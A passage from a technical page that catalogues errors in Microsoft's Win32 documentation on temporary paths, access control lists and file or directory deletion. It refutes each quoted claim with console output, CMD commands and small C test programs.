    GetTempFileName() returned pathname 'C:\Windows\tmpB5FD.tmp'
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters
    GetTempFileName() returned pathname 'C:\Windows\tmpB609.tmp'
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters
    GetTempFileName() returned pathname 'C:\Windows\tmpB623.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB654.tmp'
    GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters
    GetTempFileName() returned error 5
    GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters
    GetTempFileName() returned pathname 'C:\tmpB67D.tmp'
    GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters
    GetTempFileName() returned pathname 'C:\tmpB693.tmp'
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters
    GetTempFileName() returned error 267
    
    0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OUCH¹: contrary to the first highlighted statement of its documentation cited above, the Win32 function GetTempPath() returns 1 if the environment variable TMP, TEMP respectively USERPROFILE is empty or its value contains only blanks, but fails to (over)write its output buffer!

    OUCH²: the documentation for the Win32 function GetTempFileName() fails to specify that it appends a backslash to the directory name if it does not end with a backslash!

    OUCH³: although the directory name is valid, the GetTempFileName() function fails with Win32 error code 267 alias ERROR_DIRECTORY, i.e. The directory name is invalid. instead of the appropriate Win32 error code 3 alias ERROR_PATH_NOT_FOUND, i.e. The system cannot find the path specified. if the directory does not exist!

    OUCH⁴: on Windows 7 and earlier versions, the GetTempPath() function discards the environment variables TMP, TEMP and USERPROFILE if their value is not less than 130 = MAX_PATH ÷ 2 characters!

    OUCH⁵: if the value of the environment variable TMP, TEMP respectively USERPROFILE is a DOS device name (with or without a trailing colon), the GetTempPath() function returns the corresponding Win32 device name followed by a backslash instead of error code 267 alias ERROR_DIRECTORY!

  4. Execute the console application blunder.exe built in step 2. on Windows 8 (or a later version) and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 10.0.26100.1712]
    
    GetTempPath() returned pathname '..' of 1 characters for TMP= of 0 characters
    GetTempFileName() returned pathname '..\tmp8421.tmp'
    GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP=  of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP=   of 2 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP=    of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8432.tmp'
    GetTempPath() returned pathname 'C:\TEMP\' of 8 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters
    GetTempFileName() returned pathname 'C:\TEMP\tmp8440.tmp'
    GetTempPath() returned pathname '' of 285 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters
    GetTempFileName() returned pathname '\tmp8447.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 15 characters for TMP=.. of 2 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp844F.tmp'
    GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters
    GetTempFileName() returned error 5
    GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters
    GetTempFileName() returned pathname 'C:\tmp8459.tmp'
    GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters
    GetTempFileName() returned pathname 'C:\tmp8463.tmp'
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..' of 1 characters for TEMP= of 0 characters
    GetTempFileName() returned pathname '..\tmp8473.tmp'
    GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP=  of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP=   of 2 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP=    of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for TEMP=€ of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8483.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp848E.tmp'
    GetTempPath() returned pathname '' of 285 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters
    GetTempFileName() returned pathname '\tmp8495.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp849D.tmp'
    GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters
    GetTempFileName() returned error 5
    GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters
    GetTempFileName() returned pathname 'C:\tmp84AA.tmp'
    GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters
    GetTempFileName() returned pathname 'C:\tmp84BB.tmp'
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..' of 1 characters for USERPROFILE= of 0 characters
    GetTempFileName() returned pathname '..\tmp84CC.tmp'
    GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE=  of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE=   of 2 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE=    of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for USERPROFILE=€ of 1 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp84DD.tmp'
    GetTempPath() returned pathname 'C:\WINDOWS\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters
    GetTempFileName() returned pathname 'C:\WINDOWS\tmp84E7.tmp'
    GetTempPath() returned pathname '' of 285 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters
    GetTempFileName() returned pathname '\tmp84EF.tmp'
    GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp84F3.tmp'
    GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters
    GetTempFileName() returned error 5
    GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters
    GetTempFileName() returned pathname 'C:\tmp84FF.tmp'
    GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters
    GetTempFileName() returned pathname 'C:\tmp8509.tmp'
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters
    GetTempFileName() returned error 267
    GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters
    GetTempFileName() returned error 267
    
    0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OUCH⁶: contrary to the second highlighted statement of its documentation cited above, the Win32 function GetTempPath() returns values greater than 261 = MAX_PATH + 1 characters on Windows 8 and later versions!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 24

The TechNet articles How Security Descriptors and Access Control Lists Work, How Security Principals Work, How Security Identifiers Work and How Permissions Work provide a comprehensive and exhaustive explanation of Windows’ Access Control and its Access Control Components, while the MSDN article Access Control Lists provides an abstract:
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.

A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]

The MSDN article File Security and Access Rights states likewise:
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.

[…]

By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.

OUCH⁰: the highlighted statements of both MSDN articles are but wrong – unless overridden by an ACE for the trustee with well-known security identifier S-1-3-4 alias OWNER RIGHTS introduced with Windows Vista, the RC alias READ_CONTROL and WD alias WRITE_DAC access rights are granted to the object’s owner!

The TechNet article Security Identifiers Technical Overview specifies:

The following table lists the universal well-known SIDs.

Universal well-known SIDs

Value Universal Well-Known SID Identifies
S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.
The TechNet article How Permissions Work contradicts the highlighted statements of both MSDN articles and states in its Permissions for Files and Folders section:
Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.

Permissions for Files and Folders

Permission Description
Create Files/
Write Data
Create Files allows or denies creating files in the folder. (Applies to folders only.) […]
Create Folders/
Append Data
Create Folders allows or denies creating folders in the folder. (Applies to folders only.) […]
Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.)
Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder.

[…]

You should also be aware of the following:

Falsification

Perform the following 4 simple steps to prove the highlighted statements of all articles cited above wrong!
  1. Start the Command Processor Cmd.exe in an arbitrary, preferable empty directory, then display its access permissions:

    CACLS.EXE .
    C:\Users\Stefan\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)F
                            BUILTIN\Administrators:(OI)(CI)F
                            AMNESIAC\Stefan:(OI)(CI)F
  2. Create an (empty) file blunder.tmp, remove all its (inherited) access permissions, verify that its DACL is empty, and delete the file:

    COPY NUL: blunder.tmp
    ICACLS.EXE blunder.tmp /INHERITANCE:R /Q
    CACLS.EXE blunder.tmp /S
    ERASE blunder.tmp
    Note: the command lines can be copied and pasted as block into a Command Processor window.
            1 file(s) copied.
    Successfully processed 1 files; Failed processing 0 files
    C:\Users\Stefan\Desktop\blunder.tmp "D:PAI"
    OUCH¹: contrary to the highlighted statements of both MSDN articles cited above, but according to the highlighted statements of the TechNet article cited above, the Full Control (really: FILE_DELETE_CHILD) access permission of the parent directory allows to delete a file with empty DACL!
  3. Create a subdirectory Blunder, remove all its (inherited) access permissions, verify that its DACL is empty, and (try to) remove it:

    MKDIR Blunder
    ICACLS.EXE Blunder /INHERITANCE:R /Q
    CACLS.EXE Blunder /S
    RMDIR Blunder
    Successfully processed 1 files; Failed processing 0 files
    C:\Users\Stefan\Desktop\Blunder "D:PAI"
    Access denied
    OUCH²: contrary to the highlighted statements of the TechNet article cited above, the Full Control access permission of the parent directory does not allow to remove a subdirectory with empty DACL!
  4. Grant the owner the SYNCHRONIZE access permission for the subdirectory and remove it:

    ICACLS.EXE Blunder /GRANT *S-1-3-4:(S) /INHERITANCE:R /Q
    RMDIR Blunder
    Successfully processed 1 files; Failed processing 0 files
    OUCH³: contrary to all highlighted statements of the articles cited above, removal of a subdirectory requires the SYNCHRONIZE access permission on itself!

Blunder № 25

This blunder complements and supplements Blunder № 24.

The documentation for the Win32 function DeleteFile() specifies in its Remarks section:

[…]

The DeleteFile function fails if an application attempts to delete a file that has other handles open for normal I/O or as a memory-mapped file (FILE_SHARE_DELETE must have been specified when other handles were opened).

The documentation for the Win32 function DeleteFileTransacted() specifies in its Remarks section:

[…]

The DeleteFileTransacted function fails if an application attempts to delete a file that has other handles open for normal I/O or as a memory-mapped file (FILE_SHARE_DELETE must have been specified when other handles were opened).

The documentation for the Win32 function MoveFileEx() specifies in its Remarks section:
The documentation for the Win32 function MoveFileWithProgress() specifies in its Remarks section:
Note: the documentations for the Win32 functions MoveFile() and MoveFileTransacted() but lack such remarks.

The documentation for the Win32 function ReplaceFile() specifies in its Remarks section:

The documentation for the Win32 function RemoveDirectory() specifies:
Deletes an existing empty directory.

[…]

BOOL RemoveDirectory(
  [in] LPCTSTR lpPathName
);
[…]

[in] lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

OUCH⁰: these documentations specify neither the permissions required to move a file across directories or volumes nor the permissions required to delete, rename or move a directory – contrary to their highlighted statements,

Falsification

Perform the following 14 simple steps to prove the highlighted statements of all documentations cited above wrong!
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define NO_ACCESS	0UL
    #define FILE_SHARE_NONE	0UL
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
    #ifdef BLUNDER
               NO_ACCESS,	// (A;NP;;;;OW)
    #else
               SYNCHRONIZE,	// (A;NP;0x100000;;;OW)
    #endif
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
    				      (SID *) NULL,
    				      (SID *) NULL,
    				      (ACL *) NULL,
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
    		                      NO_ACCESS,
    		                      FILE_SHARE_NONE,
    		                      &sa,
    		                      CREATE_NEW,
    		                      FILE_ATTRIBUTE_NORMAL,
    		                      (HANDLE) NULL);
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!CloseHandle(hBlunder))
    			dwError = GetLastError();
    
    		if (!DeleteFile(L"blunder.tmp"))
    			dwError = GetLastError();
    	}
    
    	if (!CreateDirectory(L"Blunder", &sa))
    		dwError = GetLastError();
    	else
    		if (!RemoveDirectory(L"Blunder"))
    			dwError = GetLastError();
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(38) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(40) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(49) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(65) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access is denied.
    CertUtil: -error command completed successfully.
    OUCH¹: contrary to all highlighted statements of the documentations cited above, removal of the subdirectory Blunder fails with Win32 error code 5 alias ERROR_ACCESS_DENIEDSYNCHRONIZE access on the subdirectory itself is but required to remove it!
  6. Overwrite the text file blunder.c created in step 1. with the following content:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	HANDLE	hBlunder;
    	WCHAR	szBlunder[MAX_PATH];
    	DWORD	dwBlunder = GetModuleFileName((HMODULE) NULL,
    		                              szBlunder,
    		                              sizeof(szBlunder) / sizeof(*szBlunder));
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (dwBlunder == 0UL)
    		dwError = GetLastError();
    	else
    #ifdef BLUNDER
    	{
    		hBlunder = CreateFile(szBlunder,
    		                      DELETE,
    		                      FILE_SHARE_DELETE,
    		                      (LPSECURITY_ATTRIBUTES) NULL,
    		                      OPEN_EXISTING,
    		                      FILE_FLAG_DELETE_ON_CLOSE,
    		                      (HANDLE) NULL);
    
    		if (hBlunder == INVALID_HANDLE_VALUE)
    			dwError = GetLastError();
    		else
    			if (!CloseHandle(hBlunder))
    				dwError = GetLastError();
    	}
    #else
    		if (!DeleteFile(szBlunder))
    			dwError = GetLastError();
    #endif
    	ExitProcess(dwError);
    }
  7. Compile and link the source file blunder.c overwritten in step 6. a first time:

    CL.EXE blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(12) : warning C4101: 'hBlunder' : unreferenced local variable
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  8. Execute the console application blunder.exe built in step 7. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access is denied.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to all highlighted statements of the documentations cited above, deletion of the file blunder.exe fails with Win32 error code 5 alias ERROR_ACCESS_DENIEDWindows’ kernel denies to delete loaded portable executable image files independent of their access permissions!
  9. Compile and link the source file blunder.c overwritten in step 6. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  10. Execute the console application blunder.exe built in step 9. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access is denied.
    CertUtil: -error command completed successfully.
Note: an exploration of the blunder with the Win32 functions CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile2(), CreateFileTransacted(), DeleteFileTransacted() and RemoveDirectoryTransacted() is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 26

The MSDN article Order of ACEs in a DACL states:
When a process tries to access a securable object, the system steps through the access control entries (ACEs) in the object's discretionary access control list (DACL) until it finds ACEs that allow or deny the requested access. The access rights that a DACL allows a user could vary depending on the order of ACEs in the DACL. Consequently, the Windows XP operating system defines a preferred order for ACEs in the DACL of a securable object. The preferred order provides a simple framework that ensures that an access-denied ACE actually denies access. For more information about the system's algorithm for checking access, see How DACLs Control Access to an Object.

[…]

The following steps describe the preferred order:

  1. All explicit ACEs are placed in a group before any inherited ACEs.
  2. Within the group of explicit ACEs, access-denied ACEs are placed before access-allowed ACEs.
  3. Inherited ACEs are placed in the order in which they are inherited. ACEs inherited from the child object's parent come first, then ACEs inherited from the grandparent, and so on up the tree of objects.
  4. For each level of inherited ACEs, access-denied ACEs are placed before access-allowed ACEs.
The MSDN article How DACLs Control Access to an Object How AccessCheck Works states:
The system compares the trustee in each ACE to the trustees identified in the thread's access token. An access token contains security identifiers (SIDs) that identify the user and the group accounts to which the user belongs. […]

[…]

